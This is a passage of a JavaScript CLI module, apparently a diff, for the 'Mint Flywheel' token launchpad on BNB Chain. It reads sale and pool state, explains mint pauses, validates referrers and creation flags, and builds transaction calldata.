+ filledAt: iso(filledAt), launchAt: iso(launchAt), + ...(filledAt && !s.launched && { + launchableNow: t >= launchAt && sold >= EARLY_OPEN_SHARES, launchIn: Math.max(0, launchAt - t), + sellBackReopensAt: iso(graceEnds), + }), + sellBackOpen: !s.launched && (!filledAt || t >= graceEnds), + progressAt: iso(Number(s.progressAt)), + stale: !s.launched && Number(exitNowBps) === 0, + exitFeeFreeIn: s.launched ? 0 : Math.max(0, Number(s.progressAt) + STALE_AFTER - t), + rules: { + baseQuota: Number(s.baseQuota), inviteBonus: Number(s.inviteBonus), maxPerTx: Number(s.maxPerTx), + holdPct: pct(s.holdBps), mintFeePct: pct(s.mintFeeBps), exitFeePct: pct(s.exitFeeBps), exitFeeNowPct: pct(exitNowBps), + devCutPct: pct(s.devCutBps), buyPct: pct(s.buyBps), buyTaxPct: BUY_TAX_PCT, launchDelaySec: Number(s.launchDelay), + protectionSec: Number(s.window), protectionCapTokens: formatUnits(BigInt(s.baseQuota) * BigInt(s.windowCapMul) * TOKENS_PER_SHARE, 18), + postMint: s.postMint, tier: TIERS[Number(s.tierMode)] ?? Number(s.tierMode), + ...(Number(s.tierMode) === 2 && { stepPct: pct(s.stepBps), stepShares: Number(s.stepShares), maxMul: Number(s.maxMulX100) / 100 }), + }, + raw: s, + } +} +const pub = ({ raw: _raw, sharePriceRaw: _p, ...s }) => s + +/** The pool side of a launched sale: prices (Q112), protection, the token's supply room, and the tax rates. */ +async function poolSide(ctx, token, sale, handler) { + const [[spot, blockStart, high, average], [until, gate, cap], sellTaxBps, supply, maxSupply, room] = await Promise.all([ + ctx.read(ctx.pad, FLY_PAD_ABI, 'prices', [token]), + ctx.read(handler, FLY_HANDLER_ABI, 'protectionOf', [token]), + ctx.read(token, TOKEN_ABI, 'sellTaxBps'), + ctx.read(token, TOKEN_ABI, 'totalSupply'), ctx.read(token, TOKEN_ABI, 'maxSupply'), ctx.read(token, TOKEN_ABI, 'mintRoom'), + ]) + const t = await chainNow(ctx) + return { + prices: { + unit: `${sale.quoteSymbol || 'quote'} per token`, + pool: q112(spot), blockStart: q112(blockStart), recentHigh: q112(high), average30m: q112(average), + launchMintPerToken: formatUnits((sale.sharePriceRaw * 10n ** 18n) / TOKENS_PER_SHARE, 18), + note: ctx.version === 1 + ? 'a post-launch mint never pays less per token than the pool price; mints pause while the pool is more than 10% below its 30-minute average or its recent high' + : 'a post-launch mint never pays less per token than the pool price; with the guard on, mints pause while the pool is more than the guard below its average (postRules); the recent high is shown for information only', + }, + protection: { + active: t < Number(until), until: iso(Number(until)), endsIn: Math.max(0, Number(until) - t), + agentIdRequired: gate !== zeroAddress, capTokensPerWallet: formatUnits(cap, 18), + note: 'during protection a pool buy needs an Agent ID and a wallet buys at most the cap (gross tokens from the pool)', + }, + tax: { buyPct: BUY_TAX_PCT, sellPct: pct(sellTaxBps), split: 'the first 1%: holders 50% / platform 25% / creator 25%; sell tax above 1%: holders' }, + supply: { total: formatUnits(supply, 18), max: formatUnits(maxSupply, 18), mintRoom: formatUnits(room, 18) }, + raw: { spot, blockStart, high, average, until: Number(until), gate, cap, sellTaxBps: Number(sellTaxBps), room }, + } +} + +// Post-launch mint rules (FlywheelPostLogic). V1: refused while the pool is more than 10% below its 30-minute average +// or its recent high, or when the buyer price (spot, the block start, or 99% of the highest of the high, the average and +// the previous block start, which counts for 20 blocks) is more than 10% above the pool. V2: refused only while the pool +// is more than the sale's guard below its TWAP (guard on), or when max(spot, block start) is more than 10% above the pool. +// Both: one share must fit under the supply cap. BPS = 10,000; prices are UQ112x112. +const BPS = 10_000n, GAP_BPS = 1_000n, TWAP_FLOOR_BPS = 100n, PREV_START_BLOCKS = 20n + +/** + * The rules a post-launch mint of one share breaks now, in the order mintPost checks them (the wallet's pace aside). + * v: 1 | 2; guardBps (V2): 0 = off; prev (V1): the previous block start (0n once more than 20 blocks old); one: the + * price of one share; room: the token's mintRoom. + */ +export function pauseReasons({ v, spot, blockStart, high, average, prev = 0n, guardBps = 0n, one, room }) { + const reasons = [] + let price = spot > blockStart ? spot : blockStart + if (v === 1) { + if (spot * BPS < average * (BPS - GAP_BPS)) reasons.push('below_average') + if (spot * BPS < high * (BPS - GAP_BPS)) reasons.push('below_recent_high') + let ref = high > average ? high : average + if (prev > ref) ref = prev + const floor = (ref * (BPS - TWAP_FLOOR_BPS)) / BPS + if (floor > price) price = floor + } else if (guardBps !== 0n && spot * BPS < average * (BPS - guardBps)) { + reasons.push('below_guard') // gang.fun's code for V2's guard (V1 keeps below_average) + } + if (price * BPS > spot * (BPS + GAP_BPS)) reasons.push('above_pool') + // one share: the buyer's tokens and the liquidity's (at most its price of quote at spot) must fit under the cap + if (spot > 0n && price > 0n && (one * Q112) / price + (one * Q112) / spot > room) reasons.push('supply_cap') + return reasons +} + +/** What a rule means and when it lets minting back, for this pad version and its post-launch rules. */ +function pauseText(reason, v, rules) { + const avg = v === 1 ? '30-minute average' : `${rules.twapWindow / 60}-minute average (TWAP)` + const guard = v === 1 ? 10 : rules.guardBps / 100 + return { + why: { + below_average: `the pool price is more than ${guard}% below its ${avg}`, + below_guard: `the pool price is more than ${guard}% below its ${avg} (the sale's guard)`, + below_recent_high: 'the pool price is more than 10% below its recent high', + above_pool: v === 1 ? 'a mint would be priced more than 10% above the pool (it dropped in the last blocks)' : 'a mint would be priced more than 10% above the pool (it dropped earlier in this block)', + supply_cap: 'the token\'s supply cap leaves no room for a mint', + }[reason], + resumes: reason === 'supply_cap' ? 'post-launch minting is over: the supply cap is reached' + : v === 1 ? 'minting resumes once the pool price is back within 10% of both its 30-minute average and its recent high (the high decays 0.5% a minute; the average follows the price over 30 minutes)' + : reason === 'above_pool' ? 'minting resumes in the next block (the price is checked against where the block started)' + : `minting resumes once the pool price is back within ${guard}% of its ${avg}`, + } +} + +/** The post-launch rules of the token's sale: V2 reads its guard and TWAP window; V1's are fixed. */ +async function postRules(ctx, token) { + if (ctx.version === 1) return { guardBps: 1_000, twapWindow: 1_800, recentHigh: true } + const [guardBps, twapWindow] = await ctx.read(ctx.pad, FLY_PAD_V2_ABI, 'postRulesOf', [token]) + return { guardBps: Number(guardBps), twapWindow: Number(twapWindow), recentHigh: false } +} + +/** + * Whether post-launch mints are refused now, by the rules mintPost checks on this token's pad (the wallet's own pace + * aside), as of the latest block. → { pausedNow, reason, reasons, why, resumes }; reason is the first rule mintPost hits. + */ +async function mintPause(ctx, token, sale, handler, side) { + const { spot, blockStart, high, average, room } = side.raw + const [rules, one] = await Promise.all([postRules(ctx, token), ctx.read(ctx.pad, FLY_PAD_ABI, 'sharePrice', [token, 1n])]) + let prev = 0n + if (ctx.version === 1) { + const [bn, [b, bp], packed] = await Promise.all([ + ctx.client.getBlockNumber(), ctx.read(handler, FLY_HANDLER_ABI, 'blockRefOf', [token]), ctx.read(handler, FLY_HANDLER_ABI, 'prevBlockStartOf', [token]), + ]) + const [pb, pp] = BigInt(b) === bn ? [packed >> 224n, packed & ((1n << 224n) - 1n)] : [BigInt(b), bp] + prev = bn - pb > PREV_START_BLOCKS ? 0n : pp + } + const reasons = pauseReasons({ v: ctx.version, spot, blockStart, high, average, prev, guardBps: BigInt(rules.guardBps), one, room }) + return { pausedNow: reasons.length > 0, ...(reasons.length && { reason: reasons[0], reasons, ...pauseText(reasons[0], ctx.version, rules) }) } +} + +async function poolReserves(ctx, token, pair) { + if (!pair) return [0n, 0n] + const [[r0, r1], t0] = await Promise.all([ctx.read(pair, PAIR_ABI, 'getReserves'), ctx.read(pair, PAIR_ABI, 'token0')]) + return same(t0, token) ? [r0, r1] : [r1, r0] +} + +const hasAgent = async (ctx, gate, who) => !gate || (await ctx.read(gate, ERC721_ABI, 'balanceOf', [who])) > 0n + +/** Dry-run `data` from `from`; null when it would pass. `rich`: pretend the wallet holds enough BNB (a diagnosis only). */ +async function dryRun(ctx, from, to, data, value = 0n, rich = false) { + try { + await ctx.client.call({ + account: from, to, data, value, + ...(rich && { stateOverride: [{ address: from, balance: value + parseEther('1000') }] }), + }) + return null + } catch (e) { + const r = revertOf(e) + return r ? { reverted: true, ...r } : { reverted: false, error: short(e) } + } +} + +/** --ref : the rules the pad applies silently, checked up front so a referrer that would not count is said. */ +async function checkReferrer(ctx, token, sale, me, myAccount, raw, fail) { + if (raw == null) return zeroAddress + if (!isAddress(raw)) fail('--ref must be the inviter\'s 0x address', { got: raw }) + if (same(raw, me)) fail('--ref is this wallet itself: a wallet cannot invite itself') + if (myAccount.minted) { + fail('this wallet already minted in this token: an inviter only counts on a wallet\'s first mint here; leave --ref out', { token, wallet: me }) + } + if (Number(sale.raw.inviteBonus) === 0) fail('this sale gives no invite bonus (inviteBonus 0): --ref would do nothing; leave it out', { token }) + const ref = await ctx.read(ctx.pad, FLY_PAD_ABI, 'accounts', [token, raw]) + if (!ref[3]) fail('the inviter has not minted in this token yet, so it cannot invite here; leave --ref out or ask it to mint first', { token, ref: raw }) + if (sale.gate && !(await hasAgent(ctx, sale.gate, raw))) fail('the inviter holds no Agent ID, so its invite would not count; leave --ref out', { token, ref: raw }) + return raw +} + +/** One wallet in one sale (the pad's account) and its quota. */ +async function accountOf(ctx, token, sale, who) { + const [a, left] = await Promise.all([ + ctx.read(ctx.pad, FLY_PAD_ABI, 'accounts', [token, who]), ctx.read(ctx.pad, FLY_PAD_ABI, 'quotaLeft', [token, who]), + ]) + const [preShares, used, bonus, minted, , , baseline] = a + const inviteBonus = sale.rules.inviteBonus + return { + raw: { preShares, used, bonus, minted, baseline }, + view: { + quota: sale.rules.baseQuota + Number(bonus), quotaUsed: Number(used), quotaLeft: Number(left), + inviteBonusShares: Number(bonus), invited: inviteBonus ? Number(bonus) / inviteBonus : 0, + preShares: Number(preShares), minted, canRefer: minted, baselineTokens: formatUnits(baseline, 18), + }, + } +} + +/** What a GangRouter pool buy takes out of the pair before the buy tax (the protection cap counts that). */ +async function grossBuy(ctx, token, quote, payBnb, amount) { + const dex = await ctx.read(ctx.router, GANG_ROUTER_VIEW, 'pancakeRouter') + const path = payBnb && !same(quote, ctx.wbnb) ? [ctx.wbnb, quote, token] : [quote, token] + const amounts = await ctx.read(dex, DEX_ABI, 'getAmountsOut', [amount, path]) + return amounts[amounts.length - 1] +} + +const SUBS = ['list', 'info', 'status', 'create', 'mint', 'withdraw', 'open-early', 'launch', 'buy', 'sell', 'claim', 'release', 'claim-dev', 'invite', 'tx'] +const USAGE = 'usage: gang fly [--testnet] — see gang help' +/** withdraw reverts below the preview minus this (bps): it catches an exit fee coming back. */ +const WITHDRAW_TOLERANCE_BPS = 10n + +/** J-template preset (spec §3–4) and the plain one; every field a flag can override. */ +export const FLY_PRESETS = { + j: { raise: 20, quota: 10, invite: 1, maxPerTx: 10, hold: 60, mintFee: 1, exitFee: 1, devCut: 10, buyPct: 30, sellTax: 2, launchDelay: 60, window: 600, capMul: 1, postMint: true, tier: 'standard', supplyCap: 100, guard: 'off', twapWindow: 30 }, + steady: { raise: 20, quota: 100, invite: 0, maxPerTx: 10, hold: 60, mintFee: 1, exitFee: 1, devCut: 0, buyPct: 0, sellTax: 1, launchDelay: 60, window: 600, capMul: 1, postMint: false, tier: 'flat', supplyCap: 100, guard: 'off', twapWindow: 30 }, +} +// V2 only: the post-launch TWAP guard (off or 15 / 20 / 30% below the average) and its window (15 or 30 minutes). The +// guard is off by default (the user's choice): minting does not pause on a price drop, and V2's quota cap of 10 shares +// per wallet bounds what a wallet can mint; the window is still set (it only matters once the guard is on) +const GUARDS = { off: 0, 15: 1_500, 20: 2_000, 30: 3_000 } +const TWAP_WINDOWS = { 15: 900, 30: 1_800 } +// V2: with post-launch minting on, a wallet's quota is at most this many shares and an invite adds at most one +const MAX_POST_QUOTA = 10, MAX_POST_INVITE = 1 +// flag → [preset key, min, max, kind] +const CREATE_FLAGS = { + raise: ['raise', 3, 50, 'num'], quota: ['quota', 5, 100, 'int'], 'invite-bonus': ['invite', 0, 3, 'int'], + 'max-per-tx': ['maxPerTx', 1, 10, 'int'], hold: ['hold', 60, 90, 'num'], 'mint-fee': ['mintFee', 1, 3, 'num'], + 'exit-fee': ['exitFee', 1, 2, 'num'], 'dev-cut': ['devCut', 0, 10, 'num'], 'buy-pct': ['buyPct', 0, 50, 'num'], + 'sell-tax': ['sellTax', 1, 2, 'num'], 'launch-delay': ['launchDelay', 0, 300, 'int'], window: ['window', 300, 1800, 'int'], + 'cap-mul': ['capMul', 1, 2, 'int'], 'supply-cap': ['supplyCap', 10, 500, 'int'], + 'step-pct': ['stepPct', 0, 10, 'num'], 'step-shares': ['stepShares', 100, 100_000, 'int'], 'max-mul': ['maxMul', 1, 10, 'num'], +} +export const FLY_CREATE_FLAGS = [...Object.keys(CREATE_FLAGS), 'preset', 'tier', 'post-mint', 'no-post-mint', 'dev-shares', 'guard', 'twap-window'] + +/** + * Entry for `gang fly ` (and the routed verbs of a fly token). io: { opt, flag, out, fail, summarize, resolveLogo, + * checkMeta, resolveMeta } from index.js. + */ +export async function runFly(sub, { opt, flag, out, fail, summarize, resolveLogo, checkMeta, resolveMeta }) { + if (sub === 'claim-dev') sub = 'release' + if (!SUBS.includes(sub)) return fail(USAGE, { got: sub ?? null }) + const testnet = flag('testnet') + const net = testnet ? ' --testnet' : '' + const rawOnly = flag('calldata') + const ctx = flyCtx(testnet) + const chainId = Number(ctx.chainId) + const write = (tx, extra) => step(ctx, tx, { chainId, ...extra }, rawOnly, summarize) + if (flag('note')) fail('--note is not matched to 铸币飞轮 trades yet: leave it out') + + const tokenArg = () => { + const t = opt('token') + if (!isAddress(t ?? '')) fail('--token must be the 铸币飞轮 token\'s address (0x…)', { got: t ?? null }) + return t + } + const loadSale = async (token) => { + // the token's own pad: V1 and V2 tokens both keep working + if (!(await bindPad(ctx, token))) fail(`not a 铸币飞轮 (Mint Flywheel) token${testnet ? ' on BSC testnet' : ''}`, { token, chainId, pads: ctx.pads.map((p) => p.address) }) + const sale = await saleOf(ctx, token) + if (!sale) fail(`not a 铸币飞轮 (Mint Flywheel) token on this pad${testnet ? ' (BSC testnet)' : ''}`, { token, chainId, pad: ctx.pad }) + return sale + } + // on 3.0 taxHandler() is the curve / 打新 one + const handlerOf = () => ctx.read(ctx.pad, FLY_PAD_ABI, ctx.version === 3 ? 'flyTaxHandler' : 'taxHandler') + const me = () => walletFor(ctx, opt('from')) + + if (sub === 'list') { + // on chain, newest first: the pad keeps every token it created (on 3.0, of every kind: its fly tokens are picked out) + const limit = parseIntIn(fail, 'limit', opt('limit', '20'), 1, 200) + const status = opt('status', 'all') + if (!['all', 'minting', 'filled', 'launched'].includes(status)) fail('--status must be minting, filled, launched or all') + // newest pad first, each newest first + const create = { pad: ctx.pad, version: ctx.version } + const items = [] + let total = 0, scanNote = null + for (const p of ctx.pads) { + ctx.pad = p.address + ctx.version = p.version + const count = Number(await ctx.read(ctx.pad, FLY_PAD_ABI, 'tokenCount')) + const own = p.version === 3 ? await flyTokensOf(ctx, p.address, count) : null + if (own && count > FLY_SCAN) scanNote = `only the newest ${FLY_SCAN} tokens of GangLaunchpad 3.0 were read` + const n = own ? own.length : count + total += n + for (let i = 0; i < n && items.length < limit; i++) { + const token = own ? own[i] : await ctx.read(ctx.pad, FLY_PAD_ABI, 'allTokens', [BigInt(n - 1 - i)]) + const s = await saleOf(ctx, token) + if (!s) continue + const st = s.status === 'stalled' || s.status === 'refund' ? 'filled' : s.status + if (status !== 'all' && st !== status) continue + items.push({ + token, symbol: await symbolOf(ctx, token), padVersion: p.version, status: s.status, quote: s.quoteSymbol, sharePrice: s.sharePrice, raise: s.raise, + sold: s.sold, sharesLeft: s.sharesLeft, mintedShares: s.mintedShares, baseQuota: s.rules.baseQuota, postMint: s.rules.postMint, + pair: s.pair, link: `https://gang.fun/token/${token}`, + next: s.status === 'minting' ? `gang mint --token ${token} --shares ${net}` + : s.status === 'launched' ? (s.rules.postMint ? `gang mint --token ${token} --shares ${net}` : `gang buy --token ${token} --amount ${net}`) + : `gang info --token ${token}${net}`, + }) + } + } + ctx.pad = create.pad + ctx.version = create.version + return out({ + success: true, chainId, createPad: ctx.pad, createPadVersion: ctx.version, pads: ctx.pads.map((p) => ({ version: p.version, pad: p.address })), + total, status, count: items.length, items, ...(scanNote && { scanNote }), ...(!(await padOpen(ctx)) && { note: closed(ctx, testnet) }), + }) + } + + if (sub === 'info') { + const token = tokenArg() + const sale = await loadSale(token) + const extra = {} + const owed = await ctx.read(ctx.pad, FLY_PAD_ABI, 'owedDev', [token]) + if (sale.launched) { + const handler = await handlerOf() + const side = await poolSide(ctx, token, sale, handler) + const { raw: _r, ...view } = side + Object.assign(extra, view) + if (sale.rules.postMint) { + const [one, pause] = await Promise.all([ctx.read(ctx.pad, FLY_PAD_ABI, 'sharePrice', [token, 1n]), mintPause(ctx, token, sale, handler, side)]) + const rules = await postRules(ctx, token) + extra.postMint = { + sharePriceNow: await units(ctx, sale.quote, one), tierMulNow: Number((one * 100n) / sale.sharePriceRaw) / 100, + rules: ctx.version === 1 + ? { average: '30 minutes', pausesBelowAveragePct: 10, pausesBelowRecentHighPct: 10 } + : { guardPct: rules.guardBps ? rules.guardBps / 100 : 'off', twapWindowMin: rules.twapWindow / 60 }, + ...pause, + } + } + const [owedTax, swapBack] = await Promise.all([ + ctx.read(handler, FLY_HANDLER_ABI, 'owedOf', [token]), + swapBackState(ctx, handler, token, (await poolReserves(ctx, token, sale.pair))[0]), + ]) + if (swapBack) extra.swapBack = swapBack + if (owedTax > 0n) extra.owedCreatorTax = await units(ctx, sale.quote, owedTax) + } + if (owed > 0n) extra.owedDevCut = await units(ctx, sale.quote, owed) + // 3.0: the rule set the sale was created under (fixed for good), as on its curve and 打新 tokens + if (ctx.version === 3) { + extra.padGen = PAD3_GEN + const tokenVersion = await ctx.read(ctx.pad, FLY_PAD_ABI, 'tokenVersionOf', [token]).then(Number).catch(() => null) + if (tokenVersion != null) extra.tokenVersion = tokenVersion + } + if (extra.owedDevCut || extra.owedCreatorTax) extra.release = `gang release --token ${token}${net} (anyone; pays the creator)` + return out({ success: true, chainId, kind: 'fly', ...pub(sale), ...extra, next: nextFor(sale, token, net, undefined, extra.postMint) }) + } + + if (sub === 'status') { + const token = tokenArg() + const sale = await loadSale(token) + const slippage = parseNum(fail, 'slippage', opt('slippage', '1'), 0, 50) + const who = me() + const [acct, bal, agent] = await Promise.all([ + accountOf(ctx, token, sale, who), ctx.read(token, TOKEN_ABI, 'balanceOf', [who]), hasAgent(ctx, sale.gate, who), + ]) + const a = acct.raw + const pos = { ...acct.view, isAgent: agent, balance: formatUnits(bal, 18), shares: Number(a.preShares) } + if (a.minted) pos.inviteLink = inviteLink(token, who) + if (sale.sellBackOpen && a.preShares) { + const [payout, fee] = await ctx.read(ctx.pad, FLY_PAD_ABI, 'previewWithdraw', [token, who, BigInt(a.preShares)]) + pos.sellBackAll = await units(ctx, sale.quote, payout) + pos.sellBackFee = await units(ctx, sale.quote, fee) + } + if (sale.launched) { + const handler = await handlerOf() + const vault = await ctx.read(ctx.pad, FLY_PAD_ABI, 'dividendVault') + const [out_, weight, side, bought] = await Promise.all([ + ctx.read(handler, FLY_HANDLER_ABI, 'isOut', [token, who]), + ctx.read(handler, FLY_HANDLER_ABI, 'eligibleShare', [token, who]), + poolSide(ctx, token, sale, handler), + ctx.read(handler, FLY_HANDLER_ABI, 'boughtInWindow', [token, who]), + ]) + const reward = await dividendOf(ctx, vault, token, who, sale.quote, (side.raw.spot * 10n ** 18n) / Q112) + const q = bal > 0n ? await poolSellQuote(ctx, handler, token, bal) : null + if (q) { + pos.poolSellAll = { + expectOut: await units(ctx, sale.quote, q.out), minOut: await units(ctx, sale.quote, minOf(q.out, slippage)), slippagePct: slippage, + quotedWith: q.quotedWith, hint: POOL_SELL_HINT, + } + } + if (side.protection.active) { + const left = side.raw.cap > bought ? side.raw.cap - bought : 0n + pos.protection = { until: side.protection.until, boughtTokens: formatUnits(bought, 18), capLeftTokens: formatUnits(left, 18), agentOk: agent } + } + if (a.baseline > 0n) { + const line = holdLine(a.baseline, sale.rules.holdPct) + Object.assign(pos, { + reward: out_ ? 'out' : weight > 0n ? 'earning' : 'below-line', + holdLineTokens: formatUnits(line, 18), + sellableBeforeOut: !out_ && bal > line ? formatUnits(bal - line, 18) : '0', + pendingReward: reward.claimable, creditedUnsoldTokens: reward.creditedUnsoldTokens, creditedUnsoldEstimate: reward.creditedUnsoldEstimate, + ...(out_ && { note: `out: fell below the hold line (${sale.rules.holdPct}% of what it minted). A new mint requalifies it from then on${sale.rules.postMint && acct.view.quotaLeft ? '' : ' (no quota left / no post-launch minting here, so it stays out)'}` }), + }) + } else { + Object.assign(pos, { reward: 'none', pendingReward: reward.claimable, note: 'did not mint in this sale: the holder reward is only for minters' }) + } + if (sale.rules.postMint) { + const pause = await mintPause(ctx, token, sale, handler, side) + pos.mintPaused = pause + if (acct.view.quotaLeft > 0) { + const [acc, paid, fee, tokensOut, ok] = await ctx.read(ctx.pad, FLY_PAD_ABI, 'previewMintPost', [token, who, 1n]) + pos.mintOneShareNow = acc ? { paid: await units(ctx, sale.quote, paid), fee: await units(ctx, sale.quote, fee), tokensOut: formatUnits(tokensOut, 18), ok } : null + // the sale's rules allow a mint, the wallet's own 30-minute pace does not + if (acc && !ok && !pause.pausedNow) pos.mintPaused = { pausedNow: true, reason: 'pace', why: 'this wallet\'s recent post-launch mints reach its 30-minute pace (2% of the pool\'s quote side)', resumes: 'the pace decays over 30 minutes' } + } + } + } + return out({ success: true, chainId, kind: 'fly', wallet: who, sale: pub(sale), position: pos, next: nextFor(sale, token, net, acct.view, pos.mintPaused) }) + } + + if (sub === 'invite') { + const token = tokenArg() + const sale = await loadSale(token) + const who = flag('who') ? opt('who') : me() + if (!isAddress(who ?? '')) fail('--who must be a 0x address', { got: who ?? null }) + const [acct, agent] = await Promise.all([accountOf(ctx, token, sale, who), hasAgent(ctx, sale.gate, who)]) + const reason = !acct.view.minted ? 'not_minted' : !agent ? 'not_agent' : !sale.rules.inviteBonus ? 'no_invite_bonus' : null + const why = { + not_minted: 'this address has not minted in this token yet: its first mint makes it an inviter', + not_agent: 'this address holds no Agent ID, so its invites do not count', + no_invite_bonus: 'this sale gives no invite bonus (inviteBonus 0): invites add no quota', + } + // the invitee list is gang.fun's (Referred logs); the count and bonus are read on chain + const board = await apiGet(`/fly/tokens/${token}/invites/${who}`, undefined, null).catch(() => null) + return out({ + success: true, chainId, token, referrer: who, link: inviteLink(token, who), canRefer: !reason, ...(reason && { reason, why: why[reason] }), + inviteBonusPerInvite: sale.rules.inviteBonus, invited: acct.view.invited, bonusShares: acct.view.inviteBonusShares, + quota: acct.view.quota, quotaLeft: acct.view.quotaLeft, + ...(board?.invitees && { invitees: board.invitees }), + // gang.fun's board counts an invite only while it holds up (so sell-backs can't farm it); the bonus above is the + // pad's and stays either way. Older servers have no such counts: the output is as before + ...(Number.isFinite(board?.validInvites) && { + validInvites: board.validInvites, totalInvites: board.totalInvites ?? acct.view.invited, + validNote: 'gang.fun counts an invite as valid while the invitee still holds pre-launch shares (before the fill), once the sale has filled or launched, or when the invitee first minted after launch; none counts in a refund-only sale. The quota bonus is on chain and stays either way', + }), + ...(!board && { inviteesNote: `the list of invitees comes from ${API} (/fly/tokens//invites) once it indexes this pad; the count here is read on chain` }), + note: 'an invite counts on the invitee\'s first mint in this token (before or after launch), when it passes --ref (gang mint --ref ) or opens the link; the inviter must have minted here and hold an Agent ID', + }) + } + + if (sub === 'create') { + const name = opt('name'), symbol = opt('symbol') + if (!name || !symbol) fail('--name and --symbol are required') + checkMeta() + if (!(await padOpen(ctx))) fail(closed(ctx, testnet), { pad: ctx.pad, padVersion: ctx.version }) + if (flag('grad')) fail('--grad is a V3 curve setting (the graduation target, 2.0 / 3.0): a 铸币飞轮 sale fills at its --raise instead, so leave --grad out') + const presetName = opt('preset', 'j') + const preset = FLY_PRESETS[presetName] + if (!preset) fail(`--preset must be ${Object.keys(FLY_PRESETS).join(' or ')}`, { got: presetName }) + const v = { ...preset } + for (const [f, [key, min, max, kind]] of Object.entries(CREATE_FLAGS)) { + if (!flag(f)) continue + v[key] = kind === 'int' ? parseIntIn(fail, f, opt(f), min, max) : parseNum(fail, f, opt(f), min, max) + } + if (flag('tier')) { + v.tier = opt('tier') + if (!TIERS.includes(v.tier)) fail('--tier must be flat, standard or linear', { got: v.tier }) + } + if (flag('post-mint') && flag('no-post-mint')) fail('give --post-mint or --no-post-mint, not both') + if (flag('post-mint')) v.postMint = true + if (flag('no-post-mint')) v.postMint = false + // V2's post-launch rules (3.0 has them too); a V1 create target has none, so the flags are refused there rather than ignored + const v2 = ctx.version >= 2 + if (!v2 && (flag('guard') || flag('twap-window'))) fail('--guard / --twap-window are settings of the V2 Mint Flywheel pad, which is not live on this network yet: leave them out') + if (flag('guard')) { + v.guard = String(opt('guard')) + if (!(v.guard in GUARDS)) fail('--guard must be off, 15, 20 or 30 (% below the average at which post-launch mints pause)', { got: opt('guard') ?? null }) + } + if (flag('twap-window')) { + v.twapWindow = Number(opt('twap-window')) + if (!(v.twapWindow in TWAP_WINDOWS)) fail('--twap-window must be 15 or 30 (minutes)', { got: opt('twap-window') ?? null }) + } + if (v2 && v.postMint && v.quota > MAX_POST_QUOTA) { + fail(`--quota must be 5-${MAX_POST_QUOTA} with post-launch minting on (the pad's rule): lower --quota, or add --no-post-mint`, { quota: v.quota }) + } + if (v2 && v.postMint && v.invite > MAX_POST_INVITE) { + fail(`--invite-bonus must be 0-${MAX_POST_INVITE} with post-launch minting on (the pad's rule): lower it, or add --no-post-mint`, { inviteBonus: v.invite }) + } + // a pad without the Agent ID gate takes no dev cut (checkConfig refuses one): the preset's goes to 0 unless asked for + const gated = await ctx.read(ctx.pad, FLY_PAD_ABI, 'agentGateEnabled') + if (!gated && !flag('dev-cut')) v.devCut = 0 + // V2: post-launch minting needs the Agent ID gate (one wallet per ID is what bounds the per-wallet quota) + if (v2 && v.postMint && !gated) { + fail('post-launch minting needs the Agent ID gate, which this pad has off right now: add --no-post-mint for a sale that only mints before launch', { pad: ctx.pad }) + } + const linear = v.tier === 'linear' + if (!linear && ['step-pct', 'step-shares', 'max-mul'].some(flag)) fail('--step-pct / --step-shares / --max-mul only apply with --tier linear') + if (linear) { v.stepPct ??= 1; v.stepShares ??= 1_000; v.maxMul ??= 10 } + const devShares = parseIntIn(fail, 'dev-shares', opt('dev-shares', '1'), 1, Math.min(v.quota, v.maxPerTx)) + const bps = (x) => Math.round(x * 100) + const cfg = { + raiseBnb: parseEther(String(v.raise)), baseQuota: v.quota, inviteBonus: v.invite, maxPerTx: v.maxPerTx, + holdBps: bps(v.hold), mintFeeBps: bps(v.mintFee), exitFeeBps: bps(v.exitFee), devCutBps: bps(v.devCut), buyBps: bps(v.buyPct), + sellTaxBps: bps(v.sellTax), launchDelay: v.launchDelay, window: v.window, windowCapMul: v.capMul, postMint: v.postMint, + tierMode: TIERS.indexOf(v.tier), stepBps: linear ? bps(v.stepPct) : 0, stepShares: linear ? v.stepShares : 0, + maxMulX100: linear ? Math.round(v.maxMul * 100) : 0, supplyCapMul: v.supplyCap, + ...(v2 && { guardBps: GUARDS[v.guard], twapWindow: TWAP_WINDOWS[v.twapWindow] }), + } + // V2 has its own create / checkConfig (FlyConfig grew): the ABI follows the create target + const padAbi = v2 ? FLY_PAD_V2_ABI : FLY_PAD_ABI + const [ok, reason] = await ctx.read(ctx.pad, padAbi, 'checkConfig', [cfg, BigInt(devShares)]) + if (!ok) fail(`setting out of bounds: ${reason}`, { config: cfgView(cfg) }) + const quote = flag('quote') ? opt('quote') : ctx.wbnb + const refPool = flag('ref-pool') ? opt('ref-pool') : (defaultRefPool(ctx.chainId, quote) ?? zeroAddress) + if (!isAddress(quote ?? '') || !isAddress(refPool ?? '')) fail('--quote / --ref-pool must be 0x addresses') + const quoteWbnb = same(quote, ctx.wbnb) + // said before a wrap or approve step: 3.0 takes none of its own tokens (of any kind) as a quote + if (ctx.version === 3 && !quoteWbnb && Number(await ctx.read(ctx.pad, FLY_PAD_ABI, 'kindOf', [quote])) !== 0) { + fail('--quote cannot be a token of GangLaunchpad 3.0 (the pad refuses it): use WBNB or another listed 18-decimal ERC-20', { quote }) + } + // the share price: raise / 10,000 in a WBNB sale; another quote is priced by the pad at create (its ref pool's + // TWAP), so the dev's cost is estimated with GangLaunchpad's preview of the same conversion and approved with 2% room + let price + if (quoteWbnb) price = cfg.raiseBnb / BigInt(TOTAL_SHARES) + else { + const gangPad = padNets('fair')[testnet ? 'testnet' : 'mainnet'].pad + try { + const [, p] = await ctx.read(gangPad, parseAbi(['function previewCreate(address quote, address refPool, uint256 raiseBnb) view returns (uint256 raiseQuote, uint256 sharePrice)']), 'previewCreate', [quote, refPool, cfg.raiseBnb]) + price = (p * 102n) / 100n + } catch (e) { + return fail('cannot price the raise in this quote', revertOf(e) || { detail: short(e) }) + } + } + const cost = price * BigInt(devShares) + const need = cost + (cost * BigInt(cfg.mintFeeBps)) / 10_000n + const who = me() + const sym = await symbolOf(ctx, quote) + const pre = await fund(ctx, { me: who, token: quote, need, spender: ctx.pad, sym }, rawOnly, summarize) + if (pre) return out(pre) + const createData = (logoURI, metaURI) => encodeFunctionData({ + abi: padAbi, functionName: 'create', args: [[name, symbol, logoURI, metaURI], quote, refPool, cfg, BigInt(devShares)], + }) + const dry = await dryRun(ctx, who, ctx.pad, createData('', '')) + if (dry) return out({ success: false, step: 'create', ...dry }) + const logo = await resolveLogo() + const meta = await resolveMeta({ name, symbol, logoURI: logo.logoURI }) + return out(write({ from: who, to: ctx.pad, data: createData(logo.logoURI, meta.metaURI) }, { + step: 'create', kind: 'fly', padVersion: ctx.version, ...(ctx.version === 3 